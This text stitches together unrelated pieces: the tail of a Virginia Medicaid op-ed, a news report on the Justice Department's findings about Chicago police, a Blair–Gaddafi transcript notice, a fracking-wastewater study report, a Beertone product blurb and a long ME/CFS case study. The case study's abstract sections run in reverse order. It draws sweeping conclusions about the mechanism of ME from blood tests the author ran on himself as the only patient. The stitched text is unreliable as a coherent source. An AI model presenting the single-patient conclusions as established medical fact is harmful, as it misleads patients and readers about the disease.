Then Republicans fretted that leaders in Washington would repeal or change the plan in a way that would put Virginia at risk. Trump, House Speaker Paul D. Ryan (R-Wis.) and the Republican-majority Congress eliminated that concern when they wrote a health-care bill that did not do away with the expansion — and then failed to pass anything at all, preserving the program in its entirety.
Even if these excuses were grounded in reality, they would not justify denying 400,000 Virginians access to lifesaving care for which they are already footing the bill. Some of the most conservative governors in the country, including Vice President Pence when he was governor of Indiana and Ohio Gov. John Kasich (R), expanded Medicaid because it was the right thing to do. In the wake of last week’s failure with a replacement health-care bill, other conservative states are also moving in that direction.
If Virginia Republicans continue to obstruct progress on this important issue, it should be clear to their constituents that they are motivated solely by tea-party politics, not sound public policy. Virginians who lack access to health care are waiting. Families and communities coping with our mental-health and opioid crises are waiting. Virginia hospitals and health-care providers struggling with their bottom lines are waiting.
On Wednesday, Virginia Republicans can end the wait, put political excuses aside and bring billions of our own taxpayer dollars home to save lives, create jobs and make our commonwealth stronger.
A federal investigation into the Chicago police found that the department routinely uses excessive force and violates the constitutional rights of residents, particularly those who are black and Latino.
The blistering 164-page report by the Justice Department, released Friday, put an unwelcome spotlight on Chicago, a city already struggling with a surge in gun violence that has pushed homicide numbers to their highest level in two decades.
The report, and a pledge by city officials to reform the police department, come in the last days of the Obama administration, which has aggressively pursued investigations of abuse by local law enforcement.
On Friday, Chicago leaders said they had promised to negotiate with the federal government an order, enforceable by a judge, that would reform how the police department handles training, accountability and the way officers use force. A similar agreement is in place for the city of Baltimore.
But President-elect Donald Trump’s nominee for attorney general, Jeff Sessions, has criticized government lawsuits that force police reforms. And Trump himself has been a staunch defender of police officers, who he has called the “most mistreated people in this country,” and he has said that crime in this country is on the rise and requires a forceful response.
When asked whether the Chicago action would retain its strength under a Trump administration, Attorney General Loretta Lynch said Friday she expected the agreement with Chicago to live on beyond Obama’s term.
“Yes, the top people at the Department of Justice move on, but this agreement is not dependent on one, or two, or three people,” she said.
The report details a grim succession of anecdotes.
[Here are 12 key takeaways from the Justice Department’s scathing report on Chicago’s police]
Officers are described as running after people who they had no reason to believe committed serious crimes. Some of those chases ended in fatal gunfire. In one case, officers began chasing a man who was described as “fidgeting with his waistband.” Police fired a total of 45 rounds at him, hitting and killing him. No gun was found on the man, the report states, and a gun found almost a block away was both “fully-loaded and inoperable.”
These anecdotes were not limited to fatal incidents. A 16-year-old girl is described as being struck with a baton and shocked with a Taser for not leaving school when she was found carrying a cellphone. A 12-year-old Latino boy was “forcibly handcuffed” without explanation while riding his bike near his father.
Federal officials were also told about officers taking young people to the neighborhood of a rival gang to either leave them there “or display the youth,” putting their lives in danger by suggesting they had given information to police.
While the federal officials on Friday noted that city officials have made efforts recently to enact reforms, they said “complicated and entrenched” causes of the problems could only be fixed with outside help.
[Read the scathing Justice Department report on the Chicago Police Department]
The report is the culmination of a 13-month investigation into the country’s second-biggest local law enforcement agency, which has a grim history that includes a former police commander who spent decades leading a torture ring until he was suspended and then fired in the early 1990s.
During the news conference on Friday, Chicago Police Superintendent Eddie Johnson said “some of the findings in the report are difficult to read.” But he also said that many of the problems had already been identified and officials were working to correct them.
“Quite simply, as a department, we need to do better, and you have my promise, and commitment, that we will do better,” Johnson said.
Officers are described as lying, as part of a “code of silence” and also in cases where they had little reason to lie, the report states.
But investigators also described an utter absence of morale in the police force, as officers increasingly feel they are adrift and unsupported, and the report describes suicides and suicide threats among officers as “a significant problem.”
Many “officers feel abandoned by the public and often by their own department,” the report states. “We found profoundly low morale nearly every place we went within CPD. Officers generally feel that they are insufficiently trained and supported to do their work effectively.”
Dean C. Angelo Sr., president of the Chicago Fraternal Order of Police, did not respond to a message seeking comment Friday.
[In Obama administration’s waning days, a push to cement legacy of police reform]
The Justice Department began its Chicago investigation in December 2015, just weeks after authorities in the city released video footage showing an officer fatally shooting Laquan McDonald, a black 17-year-old.
This dashboard-camera recording, withheld for more than a year by city officials, showed Officer Jason Van Dyke firing 16 shots into McDonald, some after the teenager had already crumpled to the ground, despite initial accounts that the teenager had lunged at the officer. The video unleashed a torrent of anger on the streets of Chicago, which became the latest in a series of cities that boiled over in recent years after a fatal encounter involving police.
[After a blistering report, what’s next for the embattled Chicago police?]
An image from the video showing the shooting of Laquan McDonald.
The recording has continued to reverberate in the city. Not long after it was made public, the Justice Department announced that it would begin what is known as a “pattern or practice investigation” into the police department. Mayor Rahm Emanuel (D), facing intense criticism, ousted Garry F. McCarthy as police superintendent, while voters decisively dismissed Anita Alvarez, the prosecutor in the case, in an election that highlighted the McDonald shooting.
Emanuel also created a task force to review how the Chicago police handled accountability, training and oversight, and the group released a highly critical report last year, describing the McDonald video as a tipping point giving “voice to long-simmering anger.”
In what some viewed as a prelude to the Justice Department’s findings, the task force’s report described repeatedly hearing from people who felt some police officers are racist and said the police force’s own data “gives validity to the widely held belief the police have no regard for the sanctity of life when it comes to people of color.”
Chicago Mayor Rahm Emanuel, left, with Police Superintendent Eddie Johnson. (Kamil Krzaczynski/Reuters)
Chicago officials have vowed to pursue police reforms and increased transparency, and have also announced plans to beef up the policing ranks as the city confronts an explosion of bloodshed and just saw its deadliest year in two decades. Johnson, the police superintendent, called for Van Dyke and four other officers to be fired over the episode, accusing them of lying about the shooting. Van Dyke was arrested and charged with murder the day the McDonald footage was released.
McCarthy, Johnson’s predecessor, had criticized the Justice Department before the report was released and said investigators never contacted him. Asked about that on Friday, Lynch said that investigators had tried but he was “unavailable,” although she did not elaborate.
Reached after the news conference, McCarthy declined to discuss the contents of the report — saying he still had to review it with his lawyer — but disputed that Justice Department investigators attempted to reach him.
“That is a lie,” McCarthy said. “With all the investigative resources of the federal government, they couldn’t find me here, in River North, which is a neighborhood in Chicago. That is absurd.”
[Baltimore officials and Justice Department announce agreement to revamp police practices]
The American Civil Liberties Union of Illinois said that the findings confirmed “what we have known for decades” about policing in Chicago.
“The Chicago Urban League believes that the report must be viewed as a milestone,” Shari Runner, president and chief executive of the group, said in a statement. “It is verification of the worst of what we’ve been and continue to be, but offers a viable path to what we want to become.”
Distrust remains an issue between police officers and residents in Chicago. In a poll taken last year, one in three residents said the city’s police officers were doing an excellent or good job; far fewer black residents (12 percent) felt that way then white residents (47 percent) or Hispanic residents (37 percent). The new report also states that police use force almost 10 times as often against black people as white people. Complaints filed against officers by white people were substantially more likely to be substantiated than those filed by black people or Latinos.
Federal investigators said their inquiry found that Chicago police force did not provide officers with suitable guidance for using force, investigate improper uses of force or hold officers accountable for such incidents. Investigators also faulted the city’s methods of handling officer discipline, saying the process “lacks integrity,” while saying that in the rare case where misconduct complaints are sustained, discipline is “haphazard and unpredictable.”
Training is repeatedly described as woefully inadequate, with the report describing officers in a class on deadly force being shown a video made more than three decades ago that depicted tactics “clearly out of date.”
Emanuel acknowledged Friday that there were questions were surrounding what the next administration would do, but vowed to continue working with the government.
“We will continue on the path of reform, because that is the path of progress,” he said. Emanuel later added, “We’re going to continue to work with that new Justice Department.”
Speaking on Capitol Hill during his confirmation hearing this week, Sessions suggested that entire departments filled with good officers could be tarred by the work of individuals and was critical of lawsuits that force reforms.
“These lawsuits undermine the respect for police officers and create an impression that the entire department is not doing their work consistent with fidelity to law and fairness, and we need to be careful before we do that,” Sessions said. He would not commit to leaving unchanged agreements that are in place when he takes over, though he said he would enforce them until changes are made.
The Justice Department can investigate and force systemic changes­ on local police departments and sue them if they do not comply. This authority was given to the federal agency in 1994, when Congress acted in the wake of the 1991 beating of Rodney King by Los Angeles police officers and subsequent unrest following the acquittal of the officers involved.
During the Obama administration, the Civil Rights Division has opened 25 investigations into law enforcement agencies, according to the Justice Department. Probes have found patterns of excessive force used in police departments including Portland, Ore., Cleveland, Albuquerque, New Orleans, Seattle and Puerto Rico, among others.
[Forced reforms, mixed results]
The Chicago probe was among the the largest pattern and practices investigations in the Justice Department’s history, involving a force that has 12,000 officers, trailing only the New York police force among local law enforcement agencies in the United States.
The announcement in Chicago came the same day that Justice Department officials also said that the Philadelphia Police Department was making “tremendous progress” in implementing findings from an assessment last year examining how officers use deadly force there.
A day before Lynch spoke in Chicago, she had traveled to Baltimore for officials to outline efforts to revamp policing there. Baltimore’s agreement on reforms came after the Justice Department released, last year, a blistering report accusing the city of discriminatory policies targeting black residents.
Angelo, the head of Chicago’s police union, has said he was concerned federal investigators were rushing to finish the probe before Trump’s inauguration. When asked Friday about the timing of the report’s release, Lynch noted the investigation had begun more than a year ago, though she acknowledged lawyers had worked “quickly” to bring it to fruition.
“This is not a political process, this is an investigative process,” Lynch said.
This story has been updated since it was first published at 9:06 a.m.
Further reading:
Chicago residents think kids growing up there are as likely to be violent-crime victims as college graduates
Chicago will make some changes to its police department as a ‘down payment’ on reform
Chicago releases ‘unprecedented’ evidence from nearly 100 investigations into police shootings, use of force
The Foreign Affairs Committee has published the transcripts of two telephone conversations between Tony Blair and Colonel Gaddafi which took place on 25 February 2011. In the aftermath of the Manchester bombing, these documents are worth reading once more. Follow us on Twitter: @INTEL_TODAY
The transcripts were forwarded to the Committee by former Prime Minister Tony Blair, following evidence given to the Foreign Affairs Committee inquiry into Libya: Examination of intervention and collapse and the UK’s future policy options.
On Friday 11 December 2015, the Foreign Affairs Committee took evidence from Tony Blair, who explained his actions in response to the collapse of the Gaddafi regime in Libya. Mr Blair offered to supply the Committee with contemporary, uncorrected, transcripts of his telephone conversations with Colonel Gaddafi in February 2011.
Chair’s comments
Crispin Blunt MP, Chair of the Committee, said:
REFERENCES
Unseen phone transcripts between Blair and Gaddafi published — UK Foreign Affairs Committee
The study’s findings, published Thursday, came after Penn State’s Bill Burgos and his fellow scientists sought to discover what had been the effect of the strategy of treating and releasing fracking wastewater, according to the Independent.
They sampled sediments and groundwater from the Conemaugh River water, downstream from two facilities that were created to make the water used in the fracking process fit for release into the environment.
“Isotopic ratios of 226Ra/228Ra and 87Sr/86Sr identified that peak concentrations of Ra and Sr were likely sourced from wastewaters that originated from the Marcellus Shale formation,” according to the study Watershed-Scale Impacts for Surface Water Disposal of Oil and Gas Wastewater in Western Pennsylvania.
Their analysis detected peak concentrations of radium, chloride, barium, strontium, radium and organic compounds in Conemaugh River watershed. The two major classes of organic contaminants included nonylphenol ethoxylates, endocrine-disrupting chemicals, and polycyclic aromatic hydrocarbons, known carcinogens.
When scientists examined steam sediments in Blacklick Creek, just downstream from one treatment plant, it was found to contain about 200 times the level of radium found upstream of the plant.
The highest concentration of radium was just 14 percent below the level at which it would have to be treated as radioactive waste in some US states.
Read more
“Despite several other sources of contaminants such as coal bed methane, coal mine drainage, and flue gas desulfurization releases that can impact surface water quality, we document multiple lines of evidence that indicate the legacy of unconventional oil-and-gas wastewater disposal has impacted stream sediments and porewater (groundwater) on a watershed scale,” wrote Burgos in the study, published in ACS’s journal Environmental Science & Technology.
The highest toxic concentrations coincided with sediment layers deposited five to 10 years ago during a peak period of fracking wastewater disposal, Burgos said. Elevated levels of radium were also found as far as 12 miles downstream of the treatment plants.
The US is experiencing an oil and gas boom from exploiting its natural resources through fracking, but in doing so is creating billions of gallons of wastewater that are hard to contain and hard to treat.
Fracking involves forcing under high pressure water and other substances, which can include radioactive ones, into cracks in porous rocks that contain fossil fuels.
The report estimates that in 2015 there were 10,000 unconventional oil and gas wells in the Marcellus Shale, which produced 1.7 billion gallons of wastewater. The facilities that collect the water provide only limited treatment before releasing it into surface waters, according to Science Daily.
The Marcellus Shale is a geology seam which stretches from Southern New York to Virginia and is claimed by the fossil fuel industry to have rich deposits of natural gas and oil.
Burgos said risks posed by the pollutants in the sediment and groundwater “are difficult to assess,” and the watershed is not used as a public source of drinking water.
The potential risks associated with this contamination are unknown, the researchers said, but they recommended tighter regulations of wastewater disposal could help the environmental and human health.
Read more
Elsewhere in Pennsylvania, 12 families in West Whiteland and Uwchlan townships reported contaminated well water in Chester County, causing Sunoco Pipeline LP to temporarily halt construction of the its Mariner East 2 pipeline last Friday.
The Mariner East 2 pipeline will carry natural gas from Ohio and the Marcellus Shale fields to a terminal in Marcus Hook, Delaware County.
Although most of the 350-mile pipeline is being built in a trench near the surface, Sunoco is using horizontal drilling methods to install the pipeline through densely populated areas of Chester and Delaware counties.
Five families with contaminated water were moved to local hotels after alerting the company and the US Environmental Protection Agency (EPA) about the water problem. Other families were given filtration supplies and bottled water.
Sunoco tested the private wells to determine if its horizontal drilling caused the murky water by introducing bentonite clay into water supplies. Results of those tests have not been made available so far.
“Our concern is to make sure that our residents have a permanent solution to this so it doesn’t recur,” said George Turner, a township supervisor, the Philadelphia Inquirer reported.
Officials in West Whiteland are asking Sunoco to cover the costs of connecting a dozen homes to the public water system so that they are no longer affected by the company’s drilling. Some residents don’t favor the plan.
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Created by a two man team in Switzerland, Beertone wants to combine beautiful design and beer into a fun and useful resource for anyone that loves either. Right now you can pre-order their beer color chart in one of three different packages, two of which include sweet Beertone branded mugs.
Each stylish card in the color chart features a detailed description of the beer and its color, which of course includes plenty of important acronyms like ABV, CMYK, and RGB. Being the good designers that they are, the Beertone guys have provided a handy graphic of what you can expect.
While the first Beertone is already underway, there are many beers of many varieties of colors in the world, which means there's even more color charts to come. Next up they have German Beers and Brazilian Beers, and you can also suggest beers for future editions. I know I personally would love to see a Colorado-specific edition, so they might be getting one or two (or ten) suggestions from me in the near future. :)
This is a unique and creative project and it's fun to see it being executed in such a clever and well-designed way. If you're interested in helping support Beertone, you can pre-order directly on their website or contact them at cheers@beertone.ch.
Conclusion: This study found that in severe ME, both the oxidative phosphorylation and the lactic acid excretion are impaired, and the combination of these two is responsible for the main characteristic of ME, the abnormally delayed muscle recovery after doing trivial things. The muscle recovery is further delayed by immune changes, including intracellular immune dysfunctions, and by lengthened and accentuated oxidative stress, but also by exercise metabolites, which work on the sensitive receptors in the dorsal root ganglions, which in severe ME are chronically inflamed, and are therefore much more sensitive to these metabolites, which are produced in high quantities in response to trivial exercise, which for ME patients, due to the underlining metabolic problem, is strenuous exercise. And a similar problem is most likely responsible for the abnormally delayed brain recovery after doing trivial things.
Results: Inorganic phosphate and creatine kinase were both normal, however, lactate after this trivial exercise was very high, and further testing showed that a second batch of lactic acid was excreted after the same exercise with a 6-fold delay, showing that the lactic acid excretion was impaired and split into two. And this was delayed up to 11- fold by eating closer to the exercise.
Methods: Inorganic phosphate, creatine kinase and lactate were measured in a former Dutch National Field Hockey Champion, who is now a patient bedridden with severe ME, before and 5 minutes after very trivial “exercise”, from which his muscles needed 12 hours to recover.
Background: In this study the muscle bioenergetic function in response to exercise in severe ME was explored to see if the underlying metabolic problem in ME, responsible for the severe difficulties with trivial exercise, and the severe loss of muscle power, could be discovered.
Abbreviations
ME: Myalgic Encephalomyelitis; CFS: Chronic Fatigue Syndrome; ME/CFS: Myalgic Encephalomyelitis/Chronic Fatigue Syndrome; PEM: Post Exertional Malaise; Pi: Inorganic Phosphate; CK: Creatine Kinase; ATP: Adenosine Triphosphate; ADP: Adenosine diphosphate; GET: Graded Exercise Therapy; CBT: Cognitive Behavioral Therapy; DRG: Dorsal Root Ganglions
Background
Myalgic Encephalomyelitis/Chronic Fatigue Syndrome (ME/CFS) is a chronic multi-system disease that can lead to striking debilitation [1- 3]. The pathophysiology is related to activation of immunoinflammatory pathways and autoimmune responses underpinned by a state of energy depletion [4] and elderly patients with ME/CFS are at increased risk for non-Hodgkin’s lymphoma [5].
As reported by Jason et al. the median age of death for cancer in the United States is 72 versus an average age of 47.8 if the person also has ME/ CFS and the average age of death of heart failure is 83.1 versus 58.7 years if the person also has ME/CFS [6]. What this means is that ME/CFS patients who died of cancer or heart failure were considerable younger than what would have been expected from the general population, which means that ME/CFS increases the risk of death from these conditions dramatically [6], which constitutes indirect proof that ME/CFS is a physical disease.
A quarter of ME/CFS patients have severe ME/CFS, are homebound or bedridden and suffer major functional impairments [2,7] to the point that some are tube fed due to dysphagia and /or dysparesis of the stomach caused by autonomic dysfunction which is a frequent finding in ME/CFS [8].
Patients with severe ME are bedridden because of a lack of muscle power, not because they are tired, yet hardly any research is done on patients with severe ME to find out why they are so severely disabled.
ME and CFS are often used interchangeably, even though the case criteria for ME and CFS define two distinct, partially overlapping diseases [9], which have different cytokine profiles [10].
The diagnosis ME requires both M and E problems, whereby M stands for Myalgic i.e. muscle pain and muscle energy production problems and E for Encephalomyelitis, i.e. specific neurological, neuroimmune and neurocognitive problems.
The main characteristic of ME is an abnormally delayed muscle recovery after doing trivial things [11], as witnessed and documented by infectious disease specialist Dr Melvin Ramsay after the 1955 outbreak of an unknown disease in the Royal Free Hospital in London [11] which at first was thought to be an atypical form of poliomyelitis [11] and later became known as ME. Dr Ramsay also documented that the diagnosis of ME should not be made in the absence of an abnormally delayed muscle recovery after doing trivial things [11].
This complaint of delayed muscle recovery from fatiguing exercise in ME/CFS was confirmed and objectified by Paul et al. who let patients and sedentary controls carry out a fatiguing exercise test with their quadriceps muscles and found a big difference in muscle recovery time [12].
These days the distinctive feature of ME is often referred to as “postexertional malaise” (PEM), and encompasses disabling and persistent muscle and/or brain fatigue following minimal exertion, usually accompanied by increases in symptoms in general, and muscle and/or brain symptoms in particular, including cognitive dysfunction [1,2,9]. VanNess et al. found that PEM in ME/CFS is incapacitating and that ME/ CFS patients responses to exercise are distinctively different from those of sedentary controls who are deconditioned because they do not like or want to do exercise contrary to ME/CFS patients who are very keen to exercise but are unable to because of an underlying metabolic problem [13].
Other common ME/CFS symptoms include, but are not limited to, sleep disturbance, pain, and symptoms associated with autonomic dysfunction such as orthostatic intolerance, postural orthostatic tachycardia syndrome (POTS), light and sound hypersensitivity, dizziness, tinnitus, severe headaches and/or gastrointestinal disturbances. Muscle and/or brain fatigue in ME are not alleviated by rest and may be exacerbated by physical or cognitive activity [1,2]. The more muscle and/or brain power you lose, the longer the recovery periods become. In my case if I walk the 5 to 6 yards to the toilet and back, it takes 12 hours before I have enough muscle power to walk the same trivial distance again.
A minimal increase in a ME patient’s typical level of activity, has a dramatic negative impact on the ability to carry out both physical and cognitive activities of daily living [1,2]. In other words if you go over your limit you get a relapse and the bigger the relapse the less likely you are to recover from it. Whereby the severity of the symptom flare after moderate exercise is linked to cytokine activity [14].
I developed ME after picking up pneumonia from a patient, who coughed me in the face, and during the first few weeks of falling ill with ME, my legs needed 15 minutes to recover from walking 20 to 30 yards, before I could walk the same trivial distance again, which illustrates the abnormally long periods of rest to recover from minimal exertion. In the days before I developed ME, walking that distance was easy, even though I was still recovering from pneumonia, coughing a lot and still on antibiotics. So suddenly, from one day to the next, I lost about 70- 80% of power in my legs, about 50-60% of power in my arms, I began to suffer from severe dizziness, I started to have daily headaches, from which I had never previously suffered, and I started to have problems sleeping for no reason, which I never had before either. The problems with walking were even stranger because I looked well, I didn’t feel ill and before the pneumonia I was fit and well, I was hardly ever sick and shortly before I fell ill with pneumonia, I was running 3-4 times a week, with a long run of 20 to 25 km on Sundays and I do not smoke and hardly ever drink alcohol.
Before acquiring the illness most patients were healthy, leading full active lifestyles and ME/CFS most frequently follows an acute pro-dromal infection, often a respiratory infection or an acute “flu-like” illness [2]. And I’m a good example of both. I love sports and amongst things I am a former Dutch national field hockey champion, captain of my team.
The distinctive feature of CFS [9,15] on the other hand is chronic fatigue which must have lasted for 6 months or more, which is unexplained and needs to be accompanied by at least four out of eight symptoms, e.g. sore throat, unrefreshing sleep, and headaches. While post-exertional malaise is not obligatory for CFS [9,15], (chronic) fatigue is not mandatory for the diagnosis of ME [9,15].
Exercise intolerance is a cardinal feature in ME and various high quality studies found decreased physiological exercise capacity in individuals with ME/CFS [1,8,12-16] and using novel magnetic resonance techniques Jones et al. identified a distinctive, reproducible muscle bioenergetic abnormality in patients with ME/CFS [8], the degree of which not only associates with autonomic dysfunction, found in the majority of ME/CFS patients [8] but also with a characteristic cardiac bioenergetic impairment [17].
Various studies have observed impaired skeletal muscle metabolism in ME/CFS [15], acidosis during exercise, taking 4 times longer for the pH to go back to normal in ME/CFS [8, 16] and acidosis inhibits oxidative phosphorylation in contracting human skeletal muscle [18].
Wong et al. found low intracellular concentrations of ATP [19], confirming that the impaired physical activity in ME/CFS compared to healthy controls is related to a bioenergetic muscle abnormality which makes moderate and vigorous activity almost impossible and if it gets worse patients loose the muscle strength or power to sit, stand or walk and therefore they become bedbound with severe ME.
As noted by Morris et al. many studies have demonstrated a significant positive correlation between markers of inflammation and symptom severity [4]. And a rapid decline of inflammation in patients corresponded with a decline in severity of fatigue and amelioration of their entire symptom profile [4]. Markers of chronic inflammation have also been detected in skeletal muscle and correlate with objective measures of muscle fatigability [4].
Energy for skeletal muscle contraction is supplied by anaerobic and aerobic metabolic pathways. The aerobic system is the most efficient energy source, producing up to 18 times more energy in the form of ATP than if glucose was used anaerobically. But the downside of the aerobic system is that without oxygen it doesn’t function [20].
The glycolysis is the anaerobic metabolic pathway to produce ATP, used for bursts of all-out exercise lasting from 60 to about 90 seconds as reported by De Feo et al. [21], and is a very fast way to produce energy. During glycolysis, carbohydrate, in the form of either glucose or glycogen, the stored form of glucose, is broken down through a series of chemical reactions ultimately forming lactate. Very little energy is produced this way, but the trade-off is that you get the energy very quickly if oxygen demand outstrips oxygen supply [20,21].
The other problem of the anaerobic glycolysis is an increase in hydrogen ions and lactate, which causes muscle acidosis, and the production of metabolites in the form of ADP, Pi and potassium ions [21-23]. Acidosis and the accumulation of these metabolites cause a number of problems inside the muscles, including inhibition of specific enzymes involved in the anaerobic glycolysis and in muscle contraction leading to a very rapid loss of muscle power, i.e. within 1 to 2 minutes, with concomitant quickly increasing muscle pain [18,20-23] to the point that after 1 to 2 minutes of anaerobic exercising, one can hardly stand on one’s legs anymore. And this is exactly what happens if I walk the trivial distance of 5 to 6 yards to the toilet and back. And the longer I need to sit on the toilet, the longer it takes me to complete this trivial exercise, the more muscle power I lose and the more muscle pain I’ve got.
There has been substantial research to show that a build-up of acid within muscle or plasma is one of the factors which causes fatigue [25] and artificially induced acidosis can impair muscle contractility even in non-fatigued humans [26].
A number of papers have challenged this model to explain muscle fatigue. In place of acidosis it may be that inorganic phosphate is a major cause of muscle fatigue [27] which is produced during the breakdown of ATP to ADP. However, there are several limitations regarding this phosphate hypothesis, one of them is that loading of acid neutralizing agents, when ingested shortly before high intensity exercise, means one can go faster or further [28], which was one of the reasons why Robergs et al. [23] concluded that increased lactate concentration remains a good marker for the onset of fatigue.
The pain and symptoms in my legs after a trivial walk feel very similar, albeit a lot worse, to the muscle symptoms I had in the past after a very strenuous training, and the objective therefore was to try and identify the underlying bioenergetic muscle problem in ME, responsible for the exercise intolerance, rapid muscle fatigue and delayed muscle recovery.
The study by Byrne et al. [29] showed that skeletal muscle carnitine, phosphorylase, all glycolytic enzymes and the mitochondrial marker enzymes monoamine oxidase, isocitrate dehydrogenase and cytochrome oxidase were normal. They therefore concluded that there was no major intrinsic defect in the muscle energy pathways in ME/CFS [29].
Edwards not only noted that muscle fatigue and pain occurring at rest without any exercise, suggests it is psychological in origin but also that if it happens or gets worse after exercise, as is the case in ME, it’s indicative of a muscular problem [30]. Exercise fatigue or pain should ideally be reproduced by an appropriate provoking exercise test and plasma creatine kinase and lactate are specific indicators of a muscular cause [30].
I hypothesized that I might be able to come up with the bioenergetic reason for my muscle problems by measuring my inorganic phosphate, creatine kinase and lactate before and after exercise, as it’s clear from the literature and my symptoms, that there is a major bioenergetic problem responsible for my severe loss of muscle power and the very long muscle recovery times after trivial walks.
Successfully identifying the underlying metabolic problem in ME/ CFS would make it easier for doctors to diagnose the disease and prevent symptom exacerbation or relapses from exercise regimes of which patients have been complaining for a long time and which was objectified by a graded exercise trial by Black et al. [31] but also by a recent large survey by the British ME Association which concluded and asked for the immediate withdrawal of harmful Graded Exercise Therapy (GET) as a treatment for ME/CFS [32].
Methods
Participants
The participant, i.e. the writer of this article, i.e. me, is a patient who has been bedridden with severe ME for more than 10 years, after Graded Exercise Therapy caused a severe relapse from which I haven’t recovered so far. I was diagnosed with ME by 2 knowledgeable primary care physicians who in the absence of a diagnostic test for ME/CFS, used the 1994 Fukuda [33] and the Canadian Consensus Criteria [34] to diagnose the disease, and the diagnosis was later confirmed by a consultant neurologist and by using the International Consensus Criteria [2].
Prior to falling ill with pneumonia, which triggered my ME, I was fit and well, was hardly ever ill and was very sporty. I do not smoke, and hardly ever drink alcohol. I have a brown belt in judo; I’m a former Dutch national field hockey champion, captain of my team; I ran marathons (PB: 3.05), half marathons (PB: 1.19), and competed in quarter triathlons.
I do not have a history of an autoimmune disorder, MS, psychosis, major depression, heart disease, thyroid-related disorders or any other chronic illnesses apart from ME, I had a very happy childhood, no childhood traumas, I’m not a perfectionist, I do not suffer from anxieties, mental health problems were excluded by a consultant psychiatrist and there are no confounding factors influencing my ME.
I do however have allergic rhinitis and hay fever, which has become a lot worse since I have got this disease, and research by Yang et al. shows that people with allergies have a 64% increased risk to develop ME/CFS [35] which provides another clue that ME/CFS might be an autoimmune disease [7].
In order to establish base line levels, my creatine kinase, inorganic phosphate and lactate were measured 1 minute before the exercise, consisting of walking the 5 to 6 yards from my bed to the toilet, sitting on the toilet, standing up, taking one step to the right, washing my hands and walking the 5 to 6 yards back to my bed.
Blood lactate concentrations peak about 5 minutes after the cessation of intense exercise [36], the delay is attributed to the time required to buffer and transport lactic acid from the tissue to the blood [37], and therefore my creatine kinase, inorganic phosphate and lactate were all measured 5 minutes after the exercise.
Blood sample collection occurred via a finger prick, using pediatric sized tubes, the blood was then centrifuged and samples were send via overnight express to the head of the Deventer Hospital Laboratory in the Netherlands, who is also one of the founders and directors of Hessels+Grob bv who supplied the finger prick lancets in a small ready to use, disposable plastic device, the pediatric size tubes, the centrifuge etc to enable blood taking in a very simple way, so that the samples could be analyzed the next day, although centrifuging meant that the laboratory had 5 days after the blood was taken to do the measurements/analysis. By using finger pricks and pediatric sized tubes, one only needs 4-5 drops of blood per tube.
Statistical analysis
Statistical analysis was performed by Statisticor, a Dutch independent firm for statistical analysis.
Medical ethics
The research protocol was discussed with the Centrale Commissie Mensgebonden Onderzoek (CCMO), the Dutch Government Human Research Ethics Committee, and they concluded that for this particular form of research, approval from a Human Research Ethics Committee was not required.
Results (Table 1)
In this study creatine kinase (CK), inorganic phosphate (Pi) and lactate were measured before and after exercise in a patient with severe ME. As seen in Table 1, my CK and Pi were normal before and after exercise. The CK levels can rise and reach a maximum 4 days after the exercise [38]. In my case as I have been doing the same exercise twice a day for the last few years, it means that the measured CK levels are also the CK levels 1, 2, 3, and 4 days after the previous exercise [38]. The normal CK levels indicate that there is no sign of muscle damage and the normal inorganic phosphate means that inorganic phosphate is not responsible for the delayed muscle recovery.
As expected my lactate was normal before the exercise but it was abnormal at 8.0 at the 5 minute point. Most healthy people, including most healthy ordinary sports people, will stop exercising, as your legs become very heavy, (well) before they reach the 8 mmol mark because from that point onwards they will experience muscle pain due to the buildup of lactic acid etcetera.
Normally, one should be able to do this trivial walk aerobically, only producing a tiny amount of lactic acid when getting up from the bed and getting up from the toilet.
Patient with severe ME 1 minute before the
Exercise 5 minutes after the
Exercise 30 minutes after the
Exercise Std. Deviation Creatine kinase (CK) 96 110 — 9.90 N= - 200 U/l Inorganic phosphate (Pi) 1.45 1.15 — 0.21 N= 0.90 - 1.50
mmol/l Lactic acid 1.6 8.0 11.8 5.15 N= - 2.2 mmol/l
Table 1: Creatine kinase, inorganic phosphate and lactic acid before and after trivial exercise in severe ME.
My elevated lactate at the 5 minute mark confirmed my theory that my muscles were having an energy problem, so the next questions were why my muscle symptoms go away doesn’t and why is there a noticeable 30% reduction in pain around the 30 minute mark? Therefore it was decided to check my lactate levels much more often using a hand held lactate tester to find out what happened with my lactate levels.
Recently Bonaventura et al. published a study in which they compared six hand-held blood lactate analyzers to a golden standard laboratory analyzer [39]. All six demonstrated accuracy and reliability but the test winner was The Edge, which performed best below but also above 15 mmol. Therefore it was decided to use The Edge for further lactate testing to analyze blood samples obtained from the fingertip.
Many sports physicians and exercise physiologists advice to check the maximum blood lactate levels 5 minutes after finishing a maximum exercise as found by Gollnick et al. [36]. Other research teams found that the maximum lactate level after maximum exercise was reached at 4 to 6 minutes [40], 3 to 8 minutes [41] and 6 to 9 minutes [42]. In my case checking it every minute with the handheld lactate analyzer confirmed that I reach my maximum 5 minutes after maximum exercise as found by Gollnick et al. [36] and “predicted” by the sport Physician I consulted.
Testing with the lactate analyzer showed that the clearance of lactate from the blood worked fine and that around the 30 minute mark, I suddenly excrete a second batch of lactate i.e. 11.6 mmol/l, which means that my lactic acid excretion, contrary to normal, is split into 2 and that I not only produce 8.0 mmol/l at 5 mins but also 11.6 mmol/l at 30 mins just to be able to finish this trivial walk which for me is very strenuous exercise as highlighted by the high levels of lactate.
And that means that the lactic acid excretion by the muscle cells is impeded to the extent that a large amount of lactic acid is not only excreted around the 5 minute mark but also around the 30 minutes mark, whereby the largest amount of lactic acid is excreted around the 30 minutes mark. But it also means that a large quantity of lactic acid remains in the muscle much longer than normal.
This obviously has implications for my muscle recovery, my muscle pain etc. In addition, the longer the lactic acid stays in the muscle, the more the anaerobic energy production is blocked by the raised lactic acid levels and acidosis, causing loss of muscle power [18].
So the question is, what do these abnormal levels, following such a trivial walk, mean? The answer can be found when we go back to the very first day that I fell ill with this disease. Overnight, from one day to the other, I lost 70 to 80 % of power in my legs and suddenly, walking 15-30 yards was very far, and after that my legs felt very heavy and needed 15 minutes to recover before I could walk 15-30 yards again. This means that I had lost a lot of muscle power, power which is produced by the aerobic energy production. And when the aerobic energy production cannot meet the energy demand, the anaerobic energy production automatically kicks in to help out. The consequence of that is the production of large amounts of lactate for exercise that one normally can do aerobically. And that is what happened on the very first day that I fell ill with ME, and has been happening ever since.
